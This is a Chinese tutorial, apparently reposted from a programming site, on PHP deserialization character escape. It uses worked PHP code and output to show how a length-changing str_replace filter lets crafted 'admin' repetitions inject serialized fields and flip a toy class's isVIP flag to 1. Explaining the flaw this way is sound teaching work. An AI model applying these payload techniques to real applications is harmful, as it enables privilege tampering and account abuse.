深入了解PHP中反序列化字符逃逸的原理

概述深入了解PHP中反序列化字符逃逸的原理

PHP反序列化字符逃逸的原理

当开发者使用先将对象序列化，然后将对象中的字符进行过滤，最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。

详解PHP反序列化字符逃逸

对于PHP反序列字符逃逸，我们分为以下两种情况进行讨论。

过滤后字符变多

过滤后字符变少

过滤后字符变多

假设我们先定义一个user类，然后里面一共有3个成员变量：username、password、isVIP。

class user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;  }}

可以看到当这个类被初始化的时候，isVIP变量默认是0，并且不受初始化传入的参数影响。

接下来把完整代码贴出来，便于我们分析。

<?PHPclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;  }}$a = new user("admin","123456");$a_seri = serialize($a);echo $a_seri;?>

这一段程序的输出结果如下：

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

可以看到，对象序列化之后的isVIP变量是0。

这个时候我们增加一个函数，用于对admin字符进行替换，将admin替换为Hacker，替换函数如下：

function filter($s){return str_replace("admin","Hacker",$s);}

因此整段程序如下：

<?PHPclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;  }}function filter($s){return str_replace("admin","Hacker",$s);}$a = new user("admin","123456");$a_seri = serialize($a);$a_seri_filter = filter($a_seri);echo $a_seri_filter;?>

这一段程序的输出为：

O:4:"user":3:{s:8:"username";s:5:"Hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这个时候我们把这两个程序的输出拿出来对比一下：

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未过滤O:4:"user":3:{s:8:"username";s:5:"Hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //已过滤

可以看到已过滤字符串中的Hacker与前面的字符长度不对应了

s:5:"admin";s:5:"Hacker";

在这个时候，对于我们，在新建对象的时候，传入的admin就是我们的可控变量

接下来明确我们的目标：将isVIP变量的值修改为1

首先我们将我们的现有子串和目标子串进行对比：

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

也就是说，我们要在admin这个可控变量的位置，注入我们的目标子串。

首先计算我们需要注入的目标子串的长度：

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//以上字符串的长度为47

因为我们需要逃逸的字符串长度为47，并且admin每次过滤之后都会变成Hacker，也就是说每出现一次admin，就会多1个字符。

因此我们在可控变量处，重复47遍admin，然后加上我们逃逸后的目标子串，可控变量修改如下：

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

完整代码如下：

<?PHPclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;  }}function filter($s){return str_replace("admin","Hacker",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);echo $a_seri_filter;?>

程序输出结果为：

O:4:"user":3:{s:8:"username";s:282:"HackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

我们可以数一下Hacker的数量，一共是47个Hacker，共282个字符，正好与前面282相对应。

后面的注入子串也正好完成了逃逸。

反序列化后，多余的子串会被抛弃

我们接着将这个序列化结果反序列化，然后将其输出，完整代码如下：

<?PHPclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;  }}function filter($s){return str_replace("admin","Hacker",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);$a_seri_filter_unseri = unserialize($a_seri_filter);var_dump($a_seri_filter_unseri);?>

程序输出如下：

object(user)#2 (3) {  ["username"]=>string(282) "HackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHackerHacker"  ["password"]=>string(6) "123456"  ["isVIP"]=>int(1)}

可以看到这个时候，isVIP这个变量就变成了1，反序列化字符逃逸的目的也就达到了。

过滤后字符变少

上面描述了PHP反序列化字符逃逸中字符变多的情况。

以下开始解释反序列化字符逃逸变少的情况。

首先，和上面的主体代码还是一样，还是同一个class，与之有区别的是过滤函数中，我们将Hacker修改为Hack。

完整代码如下：

<?PHPclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;  }}function filter($s){return str_replace("admin","Hack",$s);}$a = new user('admin','123456');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);echo $a_seri_filter;?>

得到结果：

O:4:"user":3:{s:8:"username";s:5:"Hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

同样比较一下现有子串和目标子串：

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

因为过滤的时候，将5个字符删减为了4个，所以和上面字符变多的情况相反，随着加入的admin的数量增多，现有子串后面会缩进来。

计算一下目标子串的长度：

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串//长度为47

再计算一下到下一个可控变量的字符串长度：

";s:8:"password";s:6:"//长度为22

因为每次过滤的时候都会少1个字符，因此我们先将admin字符重复22遍（这里的22遍不像字符变多的逃逸情况精确，后面可能会需要做调整）

完整代码如下：（这里的变量里一共有22个admin）

<?PHPclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;  }}function filter($s){return str_replace("admin","Hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);echo $a_seri_filter;?>

输出结果：

注意：PHP反序列化的机制是，比如如果前面是规定了有10个字符，但是只读到了9个就到了双引号，这个时候PHP会把双引号当做第10个字符，也就是说不根据双引号判断一个字符串是否已经结束，而是根据前面规定的数量来读取字符串。

O:4:"user":3:{s:8:"username";s:105:"HackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

这里我们需要仔细看一下s后面是105，也就是说我们需要读取到105个字符。从第一个引号开始，105个字符如下：

HackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHack";s:8:"password";s:6:

也就是说123456这个地方成为了我们的可控变量，在123456可控变量的位置中添加我们的目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目标子串

完整代码为：

<?PHPclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;  }}function filter($s){return str_replace("admin","Hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);echo $a_seri_filter;?>

输出：

O:4:"user":3:{s:8:"username";s:105:"HackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔细观察这一串字符串可以看到紫色方框内一共107个字符，但是前面只有显示105

造成这种现象的原因是：替换之前我们目标子串的位置是123456，一共6个字符，替换之后我们的目标子串显然超过10个字符，所以会造成计算得到的payload不准确

解决办法是：多添加2个admin，这样就可以补上缺少的字符。

修改后代码如下：

<?PHPclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;  }}function filter($s){return str_replace("admin","Hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);echo $a_seri_filter;?>

输出结果为：

O:4:"user":3:{s:8:"username";s:115:"HackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

分析一下输出结果：

可以看到，这一下就对了。

我们将对象反序列化然后输出，代码如下：

<?PHPclass user{public $username;public $password;public $isVIP;public function __construct($u,$p){$this->username = $u;$this->password = $p;$this->isVIP = 0;  }}function filter($s){return str_replace("admin","Hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');$a_seri = serialize($a);$a_seri_filter = filter($a_seri);$a_seri_filter_unseri = unserialize($a_seri_filter);var_dump($a_seri_filter_unseri);?>

得到结果：

object(user)#2 (3) {  ["username"]=>string(115) "HackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHackHack";s:8:"password";s:47:""  ["password"]=>string(6) "123456"  ["isVIP"]=>int(1)}

可以看到，这个时候isVIP的值也为1，也就达到了我们反序列化字符逃逸的目的了

推荐学习：《PHP视频教程》 总结

以上是编程之家为你收集整理的深入了解PHP中反序列化字符逃逸的原理全部内容，希望文章能够帮你解决深入了解PHP中反序列化字符逃逸的原理所遇到的程序开发问题。

如果觉得编程之家网站内容还不错，欢迎将编程之家网站推荐给程序员好友。